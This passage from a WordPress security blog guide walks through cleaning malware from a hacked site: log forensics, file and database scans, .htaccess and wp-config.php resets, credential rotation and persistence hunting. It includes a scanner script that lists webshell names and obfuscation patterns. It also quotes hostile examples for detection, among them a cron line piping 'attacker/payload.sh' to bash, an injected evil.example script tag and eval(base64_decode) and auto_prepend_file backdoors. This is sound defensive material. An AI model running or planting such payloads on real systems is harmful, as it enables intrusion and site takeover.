TechEarl

How to Remove WordPress Malware: The Practitioner's Playbook

A step-by-step methodology for finding and removing malware from a compromised WordPress site, written by a Security+ certified engineer who's been cleaning sites since the early WordPress 2.x era. Covers file backdoors, database injections, .htaccess hijacks, wp-config tampering, fake admin users, and every persistence layer that makes malware keep coming back, including the malware that lives above the WordPress directory.

Ishan KarunaratnePublished ⏱️ 51 min readUpdated
Share thisCopied
Remove WordPress malware layer by layer: files, database, .htaccess, wp-config, fake admin users, and the persistence that makes malware keep coming back.

To remove WordPress malware for good, take the site offline, snapshot it, find the entry point, replace core, plugins and themes from clean sources, clean the database (wp_options, posts, users, cron), reset .htaccess and wp-config.php, rotate every credential, and then hunt down the persistence that recreates the malware. This guide covers all of it, including fake admin users, malware hiding above the WordPress directory, cross-site contamination on shared hosting, and the off-server backups that make the next recovery possible.

A WordPress malware removal is a forensic operation. You're not just deleting bad files. You're identifying every place the attacker established persistence (files, database rows, scheduled tasks, hidden admin users, server-level cron, mail-queue hooks), removing all of them in a single pass, rotating every credential the site touched, and putting controls in place so the next compromise gets noticed before the site is repurposed for SEO spam, credit-card skimming, or a phishing redirect.

This article is the playbook I use when I'm called in to clean a hacked site. I've been working with WordPress since the 2.x days, hold a CompTIA Security+ certification, and spend a lot of time on the Linux / web-server side where most of these compromises actually live. My own sites have never been hacked. The sites I clean were almost always built by another developer, run too many plugins, and were not being updated. Your situation is fixable, but only if you treat every layer below.

I first wrote this article in 2016 and have updated it periodically as new attack patterns emerge. The methodology has held up: the nine-step cleanup flow, the file-system + database + credential triage, and the specific places attackers hide have not really changed in a decade. What has changed is the specific plugin CVEs and malware families I see most often. Those get refreshed in this article roughly once a year.

What this guide covers (and what it doesn't)

This is the hub article in the WordPress Security series. It walks through the full remediation flow end to end. For deep dives into individual attack vectors I link out to dedicated articles along the way, and the persistence layers and fake admin users have their own sections on this page. If you arrived here from a specific symptom (recurring wp-config.php injection, suspicious <script src="//..."> tags, mysterious admin users, search-result hijack), skip to the matching section.

What this guide does not cover:

  • Buying a commercial scanner. Wordfence and Sucuri make solid products and I've used both, but a scanner is one input. It is not a substitute for understanding where to look.
  • Restoring from backup as a first move. Backups taken after the compromise contain the malware. I'll show you how to verify a backup's clean date before relying on it.
  • Hosting-provider one-click "malware cleanup" buttons. These usually clear file-level signatures only and leave database persistence in place, so reinfection happens within hours.

The cleanup flow at a glance

In the order I work through them on a real site:

  1. Confirm the compromise and take the site offline (or to maintenance mode)
  2. Snapshot the current state for forensics, before anything is changed
  3. Find the entry point in the access and error logs
  4. Clean the file system: core, themes, plugins, uploads, and the weird directories attackers leave behind
  5. Clean the database: wp_options, wp_posts, wp_users, wp_usermeta, scheduled tasks
  6. Clean .htaccess and wp-config.php specifically
  7. Rotate every credential the site touched
  8. Lock down to prevent reinfection
  9. Verify with a clean second-opinion scan, plus the persistence, fake-admin and shared-hosting checks

If the malware comes back after all nine steps, the persistence section covers every other place the recreator can hide, and fake admin users get their own detection and deletion order.

The order matters. Cleaning files but skipping the database is the single most common reason malware reappears within hours. Cleaning everything but leaving the entry-point credential rotated is the second most common.

Set up the cleanup workspace

Most of this article uses shell commands. Set the WordPress root once below and the commands and scripts will pick up your value.

Try it with your own values

Set the WordPress root directory, the database name, and the table prefix once. The commands below will pick up your values.

The commands work on Linux (Debian, RHEL, Alpine) and macOS. Where BSD find, sed, or stat differs from GNU, I call it out. If you're on a managed host without shell access, every section also has a method that works through SFTP plus phpMyAdmin or Adminer.

Step 1: Confirm the compromise and take the site down

Common signs the site is infected:

  • Google Search Console shows the site flagged as "deceptive" or "social engineering content"
  • Browser SafeBrowsing or similar warns visitors
  • Search results show pharmaceutical, gambling, or replica-watch terms instead of your titles ("Japanese SEO spam")
  • Mysterious <script src="//some-cdn-or-other.com/..."> tags appear in the HTML output
  • New admin users you didn't create
  • WordPress login redirects somewhere unexpected
  • wp-config.php, index.php, or .htaccess modification time is newer than your last deploy
  • Mail-queue backed up with spam your server didn't send (the server did send it, your code did)
  • CPU pinned by suspicious PHP processes
  • Site is suddenly slower than usual

Put the site behind a maintenance page or a Deny from all .htaccess while you work. Cleaning a site that's still serving traffic means the attacker can re-establish persistence behind you, and any visitor who hits an infected page during the cleanup is the next vector.

For Apache, drop this into <VarInputs storageKey:wp_root>/.htaccess:

apache
RewriteEngine On
RewriteCond %{REMOTE_ADDR} !^203\.0\.113\.42$
RewriteCond %{REQUEST_URI} !^/maintenance\.html$
RewriteRule .* /maintenance.html [R=503,L]

ErrorDocument 503 /maintenance.html
Header always set Retry-After "3600"

Replace 203.0.113.42 with your own public IP. Now only you can reach the site.

For Nginx:

nginx
location / {
    set $allow_ip 0;
    if ($remote_addr = "203.0.113.42") { set $allow_ip 1; }
    if ($allow_ip = 0) {
        return 503;
    }
}
error_page 503 /maintenance.html;

Step 2: Snapshot the current state for forensics

Before you delete anything, capture the evidence. This serves three purposes: lets you compare what was there before vs after cleanup, gives you something to file with your insurance / a security firm if needed, and lets you reverse a mistake if you over-clean.

bash
# Files
tar czf /tmp/wp-forensic-$(date +%Y%m%d).tar.gz :wp_root

# Database
mysqldump --single-transaction --routines --events --triggers \
:db_name > /tmp/wp-forensic-db-$(date +%Y%m%d).sql

# Web server access log (last 14 days is usually enough to find the entry point)
sudo tail -n 1000000 /var/log/nginx/access.log > /tmp/wp-access.log
# or for Apache:
sudo tail -n 1000000 /var/log/apache2/access.log > /tmp/wp-access.log

Move these off the server to your local machine. If the attacker still has access they can delete the evidence.

Step 3: Find the entry point in the access logs

If you skip this step, the cleanup is incomplete by definition. The same vulnerability is still open and you'll be cleaning the same site again next week.

The four signatures I look for first:

XML-RPC brute force: a flood of POSTs to /xmlrpc.php. WordPress shipped XML-RPC enabled by default for years, and even sites where the feature is unused still expose the endpoint. The flood pattern hasn't gone away.

bash
grep -E 'POST .*/xmlrpc\.php' /tmp/wp-access.log \
| awk '{print $1}' | sort | uniq -c | sort -rn | head -20

wp-login.php brute force: same pattern against the login form.

bash
grep -E 'POST .*/wp-login\.php' /tmp/wp-access.log \
| awk '{print $1}' | sort | uniq -c | sort -rn | head -20

Vulnerable plugin probes: requests to specific plugin endpoints known to be exploitable. This is the most common entry point on every site I've cleaned. Plugins with file-upload, SQL-injection, or unauthenticated AJAX vulnerabilities get added to attacker scanning lists within hours of any public disclosure. The exact plugin names change every year (RevSlider was the famous one in 2014-2016; the list keeps growing); the pattern of probing for known weak endpoints does not.

bash
# Adjust this regex to the plugins you actually have installed, plus the
# usual suspects with a long history of file-upload / RCE bugs.
grep -aiE '(revslider|timthumb|wp-mobile-detector|wp-symposium|gravityforms.*upload|fusion-builder|file-manager|filemanager)' /tmp/wp-access.log \
| head -50

Uploaded shell access: requests to PHP files in wp-content/uploads/ (uploads should be media files, never PHP). This is the smoking gun for "they got in via X plugin, dropped a shell here, came back through this URL repeatedly."

bash
grep -aE 'GET|POST .*/wp-content/uploads/.*\.php' /tmp/wp-access.log \
| head -50

Once you find the entry point, write it down. You'll come back to close it in Step 8: Lock down.

For the deep dive on log forensics, see the WordPress access log forensics guide for the timestamp patterns, geolocation triage, and wp-cron poisoning indicators that go beyond what fits here.

Step 4: Clean the file system

This step has three substeps: identify suspicious files, replace known files from clean sources, and verify nothing was missed.

4a. Find recently modified PHP and JavaScript files

Attackers add or modify files. Comparing modification times against your last deploy date narrows the search dramatically. I usually look for files modified in the last 60 days unless the compromise is older.

bash
# Linux + macOS compatible: find PHP files modified in the last 60 days
find :wp_root -type f -name '*.php' -mtime -60 \
-not -path '*/node_modules/*' \
| sort
bash
# Same for JavaScript files (commonly modified to inject ad-fraud loaders, SEO spam, or redirect shims)
find :wp_root -type f -name '*.js' -mtime -60 \
-not -path '*/node_modules/*' \
| sort

If you have a known deploy date (you should, from your git or your hosting panel), use -newer <reference-file> instead of -mtime for a sharper window:

bash
# Make a reference file at the moment of your last clean deploy
touch -t 202401010000 /tmp/last-deploy
find :wp_root -type f -newer /tmp/last-deploy \
\( -name '*.php' -o -name '*.js' -o -name '.htaccess' \) \
| sort

4b. Find PHP files in directories that should never contain PHP

The single most reliable signature for "this is malware." wp-content/uploads/ is for images, PDFs, and media. Any PHP file in there is malicious. Same for wp-includes/ subdirectories that don't ship PHP in the core, and most theme images/ directories.

bash
find :wp_root/wp-content/uploads -type f -name '*.php' 2>/dev/null
bash
find :wp_root/wp-content -type f -name '*.php' -path '*/images/*' 2>/dev/null

Anything that turns up here is a backdoor. The common filenames I see: wp-conf.php, wp-tmp.php, radio.php, class-wp-cache.php, random hex names like a3f9b2.php, or just plain index.php placed in directories that shouldn't have one.

For each one, read the file (cat, less) and confirm it's malicious before deleting. Common indicators:

  • Starts with <?php eval(
  • Uses base64_decode(, gzinflate(, str_rot13(, assert(, or preg_replace('/.*/e', ...) to obfuscate code
  • Reads input from $_GET, $_POST, $_COOKIE, $_REQUEST, or $_SERVER['HTTP_*'] and feeds it to eval, assert, exec, system, shell_exec, passthru, or popen
  • Looks like a single line of unreadable hex/base64 with no comments and no recognizable WordPress code

4c. Scan content for known-malicious patterns

Search for the obfuscation signatures across the entire installation. Important: this finds candidates. It does NOT delete. You inspect each result manually before removal because legitimate code (caching plugins, some optimizer plugins) sometimes uses eval and base64_decode for non-malicious reasons.

Save the script below as wp-scan-suspicious.sh:

wp-scan-suspicious.shScans WordPress for files containing PHP malware obfuscation patterns. Reports only.Download
bash
#!/usr/bin/env bash
# wp-scan-suspicious.sh, scan a WordPress installation for files containing obfuscation
# patterns commonly used by PHP malware. Reports candidates only; does not delete.
# Source: https://techearl.com/wordpress-malware-removal
# Site:   https://techearl.com/
# Cross-platform: works on Linux (Debian/RHEL/Alpine) and macOS (BSD tools).

set -e
WP_ROOT="${1:-/var/www/html}"

# Patterns ranked by their malware-correlation strength. Pattern alone is not
# proof; a caching plugin can legitimately use base64_decode. Inspect each hit.
PATTERNS=(
  'eval\(base64_decode'
  'eval\(gzinflate'
  'eval\(str_rot13'
  'eval\(\$_(GET|POST|REQUEST|COOKIE|SERVER)'
  'assert\(\$_(GET|POST|REQUEST|COOKIE)'
  'preg_replace.*/e'
  'system\(\$_(GET|POST|REQUEST|COOKIE)'
  'shell_exec\(\$_(GET|POST|REQUEST|COOKIE)'
  'FilesMan'
  'WSO Web Shell'
  'c99shell'
  'r57shell'
  '@\$_\[?[A-Z_]+\]?[ ]*=[ ]*[\x22'"'"']'
)

echo "Scanning $WP_ROOT for suspicious patterns..."
echo "========================================================"

for p in "${PATTERNS[@]}"; do
  echo
  echo "--- Pattern: $p ---"
  grep -rlE "$p" "$WP_ROOT" \
    --include='*.php' \
    --include='*.phtml' \
    --include='*.phps' \
    --exclude-dir='node_modules' \
    2>/dev/null || echo "  (none)"
done

echo
echo "========================================================"
echo "Done. Review each file before deleting."
echo "Core WordPress files (wp-admin/, wp-includes/, wp-login.php, etc.)"
echo "should be replaced from a fresh download, not edited."

Run it:

bash
chmod +x wp-scan-suspicious.sh
./wp-scan-suspicious.sh :wp_root | tee /tmp/wp-scan.log

Read every hit. For each file ask: was this here before the compromise (check git, check your backup), does the pattern make sense in context (a caching plugin's class-cache.php using base64_decode to store cache keys is benign), and does removing this break the site (test in a staging environment first).

For the deep dive on identifying PHP backdoors specifically (the obfuscation patterns, the eval families, the file-upload shells), see Why WordPress malware keeps coming back below, which walks through every persistence mechanism with a detection script.

4d. Replace core files from a known-clean source

This is the part most cleanup guides hand-wave. Here's how I actually do it.

WordPress core: download the version that matches WP_VERSION (visible in wp-includes/version.php of a clean copy, or in the admin dashboard if accessible). Do NOT take whatever version is on the compromised site as "correct". The attacker may have downgraded WordPress to a vulnerable version.

bash
# Download the latest WordPress, OR a specific version if needed
curl -L -o /tmp/wp.tar.gz https://wordpress.org/latest.tar.gz
# Specific version:
curl -L -o /tmp/wp.tar.gz https://wordpress.org/wordpress-6.7.2.tar.gz
tar xzf /tmp/wp.tar.gz -C /tmp/

Then replace wp-admin/, wp-includes/, and all the root PHP files (index.php, wp-load.php, wp-settings.php, etc.) but keep wp-config.php and wp-content/ for now (you'll handle them next). Use rsync for a precise replacement:

bash
rsync -av --delete /tmp/wordpress/wp-admin/    :wp_root/wp-admin/
rsync -av --delete /tmp/wordpress/wp-includes/ :wp_root/wp-includes/
# Root files (exclude wp-config.php and wp-content)
rsync -av --include='*.php' --include='*.html' --include='*.txt' \
--exclude='wp-config.php' --exclude='wp-content/' --exclude='*' \
/tmp/wordpress/ :wp_root/

The --delete flag removes any extra files that didn't ship with core. That's how you nuke the wp-admin/css/style.php or wp-includes/wp-tmp.php backdoor without having to identify each one.

Plugins from the WordPress.org repo: download a clean copy of each, replace wp-content/plugins/<plugin-name>/ the same way.

bash
# Example: replace WooCommerce with a fresh 9.5.1 copy
curl -L -o /tmp/woo.zip "https://downloads.wordpress.org/plugin/woocommerce.9.5.1.zip"
unzip /tmp/woo.zip -d /tmp/
rsync -av --delete /tmp/woocommerce/ /var/www/html/wp-content/plugins/woocommerce/

Themes from the WordPress.org repo: same approach against wp-content/themes/<theme-name>/.

4e. Handling paid, custom, and orphaned plugins or themes

This is the case nobody else's guide handles. Some of the plugins and themes on the site were not free WordPress.org downloads:

  • A paid commercial plugin or theme (Yoast Premium, ACF Pro, a Themeforest theme): log into the vendor's account, download the current clean version, replace from that.
  • A custom-built plugin or theme with no public source: this is where you need a known-good backup. If your last verified-clean backup is older than the compromise window, restore the plugin/theme from that backup. If you don't have one, you have to read the code line-by-line and remove what doesn't belong. This is slow but doable. The malware will be visually distinct from the developer's code style if the developer wrote anything more than a hello-world stub.
  • An orphaned plugin whose vendor has gone out of business: same as custom. You may also need to switch the site to an alternative plugin entirely; nothing in the compromised plugin's code is trustworthy.
  • A plugin where the vendor's GitHub or homepage is gone: try the Wayback Machine (web.archive.org) for the plugin's download page, or check whether a fork exists on GitHub by searching the plugin's main file header (the Plugin Name: ... comment).

For any plugin or theme you cannot get a clean copy of, assume it is the source of the compromise until proven otherwise. Stop using it on this site, and on every other site you maintain that has it installed.

Step 5: Clean the database (the often-forgotten layer)

A file-system cleanup that doesn't touch the database is the single most common reason malware reappears. WordPress malware regularly stores a copy of its payload in the database, usually as an encoded wp_options row, and leaves a small loader behind (a line in a plugin, a theme's functions.php, an mu-plugin, or a rogue cron event) that reads that row with get_option() and passes it to eval() or writes it back out as fresh PHP files. Autoloading on its own only loads the value into memory; the loader is what turns it into code. You can clean the files all day, but if one loader survives and the row is still there, on the next page load they're back.

The places I always check, in order of frequency:

5a. The wp_options table

This is the worst offender. WordPress autoloads many rows from this table on every request, which makes an autoloaded row a convenient place to park a payload: it is in memory on every request for whatever loader code reads it. Two kinds of row matter. A payload row is inert data until PHP code evaluates it, so delete it and hunt the loader (Steps 4 and 6, and the persistence checks). A row WordPress itself acts on is live: active_plugins loads every file it lists, and injected <script> in options a theme renders (widgets, header and footer code settings) goes straight into the page.

bash
mysql -u :db_user -p :db_name <<'SQL'
-- Suspiciously large autoloaded options (malware often hides as base64 blobs)
SELECT option_id, option_name, LENGTH(option_value) AS size, autoload
FROM :{table_prefix}options
WHERE autoload IN ('yes','on') AND LENGTH(option_value) > 5000
ORDER BY size DESC
LIMIT 30;

-- Options containing executable PHP-ish or JS-ish patterns
SELECT option_id, option_name, LEFT(option_value, 200) AS preview
FROM :{table_prefix}options
WHERE option_value REGEXP 'eval\\(|base64_decode|gzinflate|<script|document\\.write|String\\.fromCharCode';
SQL

Anything that shows up here gets read carefully. Common malicious option names use names that look plausible but aren't standard WordPress: wp_options_cache, _transient_doing_cron_lock, class-wp-cache, siteurl_backup, or random base64-looking strings.

To delete a confirmed malicious row:

bash
mysql -u :db_user -p :db_name -e "DELETE FROM :{table_prefix}options WHERE option_name = '<the-name-you-confirmed>'"

5b. The wp_posts table for injected <script> and <iframe> content

Attackers append <script src="//evil.example/..."> to post content or post titles to drive ad-fraud or hijack search traffic.

bash
mysql -u :db_user -p :db_name <<'SQL'
SELECT ID, post_title, LEFT(post_content, 200) AS preview, post_status, post_modified
FROM :{table_prefix}posts
WHERE post_content REGEXP '<script|<iframe|document\\.write|eval\\('
AND post_status IN ('publish','draft','private')
ORDER BY post_modified DESC
LIMIT 50;
SQL

If you find injected scripts, the cleanup is a careful REPLACE(). Back up the relevant rows first:

bash
mysqldump -u :db_user -p :db_name :{table_prefix}posts > /tmp/posts-backup.sql

Then remove the exact injected string (find the literal <script src="//...">...</script> in the data and use REPLACE to strip it). Don't try to do this with a regex inside MySQL; that's too easy to mangle legitimate content.

5c. Hidden admin users

bash
mysql -u :db_user -p :db_name <<'SQL'
-- List every user with admin capabilities
SELECT u.ID, u.user_login, u.user_email, u.user_registered, m.meta_value AS caps
FROM :{table_prefix}users u
JOIN :{table_prefix}usermeta m ON u.ID = m.user_id
WHERE m.meta_key = ':{table_prefix}capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;
SQL

Compare against the users you know. Anyone you don't recognize is a backdoor. Before you delete one, stop whatever is creating it, or the account comes back on the next request or cron tick. The detection patterns, the four creation mechanisms, and the safe deletion order are in Find and remove fake WordPress admin users.

To remove a malicious admin (this also cleans their usermeta and reassigns their content to the user with ID 1):

bash
wp user delete <ID> --reassign=1 --allow-root --path=:wp_root

If WP-CLI isn't available, use the SQL form, but you'll need to manually clean three tables (users, usermeta, and either reassign or delete their posts).

5d. Scheduled tasks (wp_cron)

Malware frequently installs WordPress cron tasks to re-establish persistence: every hour, a hook re-creates the deleted file or re-inserts the deleted option. If you skip this, you fight the cleanup forever.

bash
mysql -u :db_user -p :db_name -e "SELECT option_value FROM :{table_prefix}options WHERE option_name='cron'" | head -c 8000

The output is a PHP-serialized array. Look for hook names that don't match anything WordPress, your plugins, or your themes actually register. Common malicious hook names: wp_resetwp, _wp_cleanup, wp_check_url, random strings. To wipe ALL scheduled tasks and let WordPress re-register the legitimate ones:

bash
wp cron event delete --due-now --all --path=:wp_root --allow-root
# Or the heavy-handed version:
mysql -u :db_user -p :db_name -e "DELETE FROM :{table_prefix}options WHERE option_name='cron'"

The full list of places malware hides its recreator, from server crontab to drop-ins and REST endpoints, is in Why WordPress malware keeps coming back. Fake administrator accounts get their own section: Find and remove fake WordPress admin users.

Step 6: Clean .htaccess and wp-config.php

These two files deserve their own step because they're rewritten by malware constantly. A clean file-system replace from Step 4 already touched core but didn't touch these two.

.htaccess

Compare your current .htaccess against the WordPress default block. Anything outside the # BEGIN WordPress ... # END WordPress block that you didn't add yourself is suspicious. Common malicious additions:

  • RewriteCond %{HTTP_USER_AGENT} rules that redirect Googlebot to a spam page (so users see the legitimate site but search engines see the spam, which is how "Japanese SEO spam" hides)
  • RewriteCond %{HTTP_REFERER} rules that redirect traffic from search engines to a third-party site
  • AddType application/x-httpd-php .jpg lines that let attackers execute PHP from disguised image files
  • php_value auto_prepend_file lines that load a backdoor before every PHP request

Reset to a clean WordPress default:

apache
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

If you had custom rewrites (HTTPS redirect, hotlink protection, custom 404), add them back from your own notes, not from the compromised file.

wp-config.php

This file is a high-value target because it holds the database credentials. Attackers who write to it can run arbitrary PHP on every WordPress request via auto_prepend-style tricks at the top of the file, or via injected define() lines that change WP_CONTENT_DIR or WP_PLUGIN_DIR to a malicious directory. Specific campaigns that target wp-config.php come and go (the gsyndication.com family became prevalent in the early 2020s and is the one I see most in current cleanups), but the underlying attack shape has been the same since I started cleaning sites.

Compare against a freshly downloaded wp-config-sample.php. Anything in your wp-config.php that isn't recognizable as:

  • The define( 'DB_*', ... ) block
  • The salts (AUTH_KEY, etc.)
  • The $table_prefix line
  • define( 'WP_DEBUG', ... ) and similar tunables
  • if ( ! defined( 'ABSPATH' ) ) define( 'ABSPATH', ... )
  • require_once ABSPATH . 'wp-settings.php';
  • Comments

...is suspicious. The most common pattern I see: a single <?php eval(base64_decode("...")); line inserted right after the opening <?php tag, OR a file_get_contents() call pulling code from a remote URL. Remove the injection. Then rotate the salts immediately. Generate fresh ones from https://api.wordpress.org/secret-key/1.1/salt/.

If your site is seeing the specific 2020s-era gsyndication script-injection pattern, my gsyndication.com malware removal walkthrough covers exactly how that family persists across cleanups and how to stop it.

Critical case: wp-config.php reinjects itself within minutes of every cleanup. If you remove the injected line, save, refresh the file, and it has already come back, you are cleaning WordPress but the malware is not inside WordPress. This is the attack class known as above-doc-root persistence, and it is one of the strongest persistent WordPress attacks I see in 2026 cleanups. The malware is sitting one level above the WordPress directory, in your hosting user's home, where no WordPress-targeted scanner reaches. A process owned by your hosting user is running in memory and rewriting the file from RAM every few seconds.

Every popular WordPress security plugin is blind to this. Wordfence, Sucuri Security, iThemes Security Pro (Solid Security), Patchstack, MalCare, Jetpack Scan, and your hosting panel's "scan" button all run as PHP inside the WordPress install. They cannot see processes, cannot read ~/.bashrc, cannot inspect ~/.config/, and have no path into /etc/cron.d/. They will report the site as clean on every scan because the parts of the disk they're allowed to read are clean. The malware is sitting in the part of the disk they are not allowed to read. You can clean WordPress over and over and nothing gets cleaned, because nothing in WordPress is what is dirty.

This is also the cleanup case most freelancers and even paid cleanup services fail on, because the standard cleanup engagement gives the cleaner WordPress admin + SFTP only, not SSH. SFTP is usually chrooted to public_html/ and cannot list /home/<user>/ or above. Without shell access to the hosting account, the cleaner can clean everything inside the doc root and nothing above it, then close the ticket, then watch the reinfection come back inside an hour. The deep dive on this class of attack, the affected products list, and the specific recent campaigns (Balada Injector, Sign1, gsyndication, Sysrv-hello, WP-VCD) are in Malware above the WordPress directory below.

The diagnostic commands assume you have SSH access. If you don't, escalate to your host's security team or move to a host that provides root SSH:

bash
# What is your hosting user actually running?
ps -u $(stat -c '%U' wp-config.php) -o pid,etime,comm,args

# Look for kernel-thread-style names ([watchdogd], [defunct]) owned by a non-root user
ps -eo user,pid,comm | awk '$1!="root" && $3 ~ /^\[.*\]$/'

# And the stash location commonly used
ls -la ~/.config/htop/ 2>/dev/null
sudo find /home -type f \( -name 'defunct' -o -name 'defunct.dat' \) 2>/dev/null

# And the shell startup files the launcher hides in
grep -E 'base64|eval|exec.*-a' ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null

If any of these turn up results, you have user-level persistence outside the document root. Kill the PIDs, delete the binary, clean the dotfiles, and only then return to the WordPress-level cleanup, otherwise everything else in this guide is wasted. Malware above the WordPress directory and the gsyndication walkthrough cover the full sequence for this case.

Step 7: Rotate every credential the site touched

Mandatory. Skipping any one of these is how reinfection happens through a "clean" cleanup.

  • All admin user passwords. Use the WordPress password change guide for the four methods.
  • The database password. Update in wp-config.php and in MySQL (ALTER USER ... IDENTIFIED BY ...).
  • The WordPress salts in wp-config.php (generate fresh from api.wordpress.org/secret-key/1.1/salt/). This invalidates every existing session cookie, so attackers who stole session cookies lose them.
  • The SFTP / SSH passwords or keys the deployment uses.
  • The hosting control panel password.
  • Any API keys stored in wp-config.php or in plugins (Stripe, SendGrid, Cloudflare, S3, Mailgun, Algolia). Treat them as exposed.
  • Any third-party service password that was reachable from the compromised server (database admin tool, monitoring agent, mail-relay user).

Yes, this is a lot. Yes, you have to do all of it. The cost of skipping one is "you'll be cleaning the site again in a week."

Step 8: Lock down to prevent reinfection

The cleanup is the easy part. Preventing the next compromise is the work. The list of controls I install on every site after a cleanup:

  • Force HTTPS everywhere (Let's Encrypt at the edge, HSTS header)
  • Disable XML-RPC entirely if you don't use the mobile app or remote publishing: add_filter( 'xmlrpc_enabled', '__return_false' ); or block /xmlrpc.php at the web-server level
  • Block direct PHP execution in upload directories: drop an .htaccess into wp-content/uploads/ with <FilesMatch "\.(php|phtml|phps)$">Deny from all</FilesMatch> (Apache), or the Nginx equivalent: location ~* /wp-content/uploads/.*\.php$ { deny all; }
  • Limit login attempts at the web-server layer (fail2ban with a wp-login.php jail) or with a small plugin
  • Two-factor authentication for every admin user (the WP-2FA plugin or similar)
  • Auto-update WordPress core, plugins, and themes. The risk of an update breaking the site is lower than the risk of an unpatched plugin getting exploited.
  • Remove unused plugins and themes entirely. An inactive plugin with a vulnerability is still exploitable; its code is reachable if the file is on disk.
  • File integrity monitoring: wp core verify-checksums and wp plugin verify-checksums --all (WP-CLI) on a daily cron, with alerts if anything fails
  • A web application firewall at the edge. Cloudflare's free tier with the WordPress managed rules turned on stops the obvious bots. For paid: Wordfence Premium or Sucuri Firewall.
  • Server-side malware scanning on a schedule. ClamAV with the Linux Malware Detect (maldet) signatures is the free option. Run nightly, email on hit.

For the deep dive on WordPress hardening beyond the cleanup, see WordPress hardening checklist which goes into specific server-level controls, fail2ban configs, and the maldet setup I use on production sites.

Step 9: Verify with a second-opinion scan

Run two scanners you didn't already use during cleanup. The point is not to trust any single tool. Browser-based scanners I use:

  • Google Search Console Security & Manual Actions report (free, authoritative for whether Google currently flags the site)
  • VirusTotal: paste your URL at virustotal.com, 80+ engines scan it
  • Sucuri SiteCheck: free remote scanner at sitecheck.sucuri.net

Server-side, run wp core verify-checksums and wp plugin verify-checksums --all from WP-CLI one more time:

bash
cd :wp_root
wp core verify-checksums --allow-root
wp plugin verify-checksums --all --allow-root

Clean scanners are not the whole test. Before I call the site done, three more checks from later in this guide have to pass, because a scanner does not look for any of them: the persistence check script (server crontab, auto_prepend_file, mu-plugins, drop-ins, anything above the WordPress directory), the fake admin user query with any hidden accounts deleted in the right order, and, on shared hosting, every other site in the account cleaned at the same time.

If anything is flagged, go back and clean it. If everything passes and the external scanners are clean, take the site out of maintenance mode and watch the access logs for the next 48 hours. Any repeat attempt to the entry point you identified in Step 3 should now hit a 403 or a closed plugin endpoint.

Why WordPress malware keeps coming back

Backdoor files that reappear after you delete them are not stronger malware. Something else on the site is recreating them on every page load, cron tick, or attacker request. Steps 5 and 6 cover the two most common recreators (wp_options autoload rows and WP-Cron events, plus wp-config.php). This section covers the rest, in the order they load during a request:

code
nginx/apache → PHP → wp-config.php → wp-settings.php → mu-plugins → drop-ins
   → active_plugins (from wp_options, autoloaded) → theme functions.php
   → WP-Cron (every page load checks scheduled events)

An attacker only needs a recreate-the-backdoor instruction at one of those stages. Find every place malicious code runs before the request reaches your theme, and clean each one.

Server crontab and systemd timers

The layer almost every cleanup misses, because it lives outside WordPress. An attacker with shell access edits the crontab of the web user (www-data, apache, or the cPanel user) to recreate the backdoor every few minutes.

bash
# As the web user (whoever owns wp-config.php), check their crontab
sudo -u $(stat -c '%U' /path/to/wordpress/wp-config.php) crontab -l

# System-wide cron locations
sudo ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
sudo cat /etc/crontab
sudo cat /etc/anacrontab 2>/dev/null

# systemd timers
sudo systemctl list-timers --all | head -20

Typical malicious entries: curl https://attacker/payload.sh | bash every 5 minutes, a wget + chmod +x + execute one-liner, or php /path/to/site/wp-content/uploads/.tmp.php that respawns a web shell. Remove the entry as root, set the web user's shell to /sbin/nologin, and check the cPanel cron jobs screen on shared hosting too. Server cron is not WP-Cron: WP-Cron lives in wp_options.cron and runs on page loads, server cron runs on its own schedule and survives a WordPress reinstall. Check both.

auto_prepend_file in .htaccess or php.ini

If the attacker can write to .htaccess (often group-writable so rewrite plugins can edit it), auto_prepend_file loads their PHP file before every PHP request, below the WordPress level entirely:

bash
find /path/to/wordpress -name '.htaccess' -exec grep -l 'auto_prepend_file\|auto_append_file' {} \;
grep -rE 'auto_prepend_file|auto_append_file' /etc/apache2/ /etc/httpd/ 2>/dev/null
grep -rE 'auto_prepend_file' /etc/nginx/ /etc/php/*/fpm/ 2>/dev/null

A malicious entry looks like php_value auto_prepend_file "/var/www/.cache/wp-cache.php"; the .cache directory is popular because it sounds legitimate. Remove the directive, delete the prepended file, and set .htaccess to 644 owned by the web user with a 755 parent directory.

Redefined WP_CONTENT_DIR in wp-config.php

Step 6 covers the top-of-file eval() and @include injections. The second wp-config.php pattern redefines the content directory so WordPress loads plugins from a directory the attacker controls, which makes cleaning your real wp-content/ pointless:

php
define('WP_CONTENT_DIR', '/var/www/.cache/wp-content');
define('WP_PLUGIN_DIR', '/var/www/.cache/wp-content/plugins');
bash
# Diff wp-config.php against the sample, ignoring comments
diff <(grep -vE '^\s*(//|#|/\*|\*)' wp-config-sample.php) \
     <(grep -vE '^\s*(//|#|/\*|\*)' wp-config.php) | less
grep -E "define\s*\(\s*['\"]WP_(CONTENT|PLUGIN)_DIR" wp-config.php

Restore the file from a clean source, rotate the salts, and set it to 400 owned by the web user.

mu-plugins and drop-ins

Every .php file at the top level of wp-content/mu-plugins/ runs on every request with no admin toggle. Most sites don't use the feature, so any file there is suspicious. Malicious names I've seen: wp-cache.php, wp-config-backup.php, class-wp-cache.php, a lone index.php.

Drop-ins are the same idea at specific stages of the request:

Drop-inWhen it runsWhat it's normally for
wp-content/advanced-cache.phpVery early, before most pluginsPage caching plugins
wp-content/object-cache.phpRight after WP core loadsObject caching (Redis, Memcached)
wp-content/db.phpBefore any database queryCustom database wrappers (HyperDB)
wp-content/sunrise.phpMultisite only, very earlyDomain mapping
bash
ls -la wp-content/mu-plugins/ 2>/dev/null
ls -la wp-content/{advanced-cache,object-cache,db,sunrise}.php 2>/dev/null
wp plugin list --status=must-use --path=/path/to/wordpress
wp plugin list --status=dropin --path=/path/to/wordpress

If a drop-in exists and you have no caching or DB plugin that created it, it is almost certainly malware. Even if you do, read it: attackers replace a real object-cache.php with a backdoor dressed up as Redis Object Cache. Delete it or reinstall the owning plugin from a clean source.

Modified core files and edited plugins

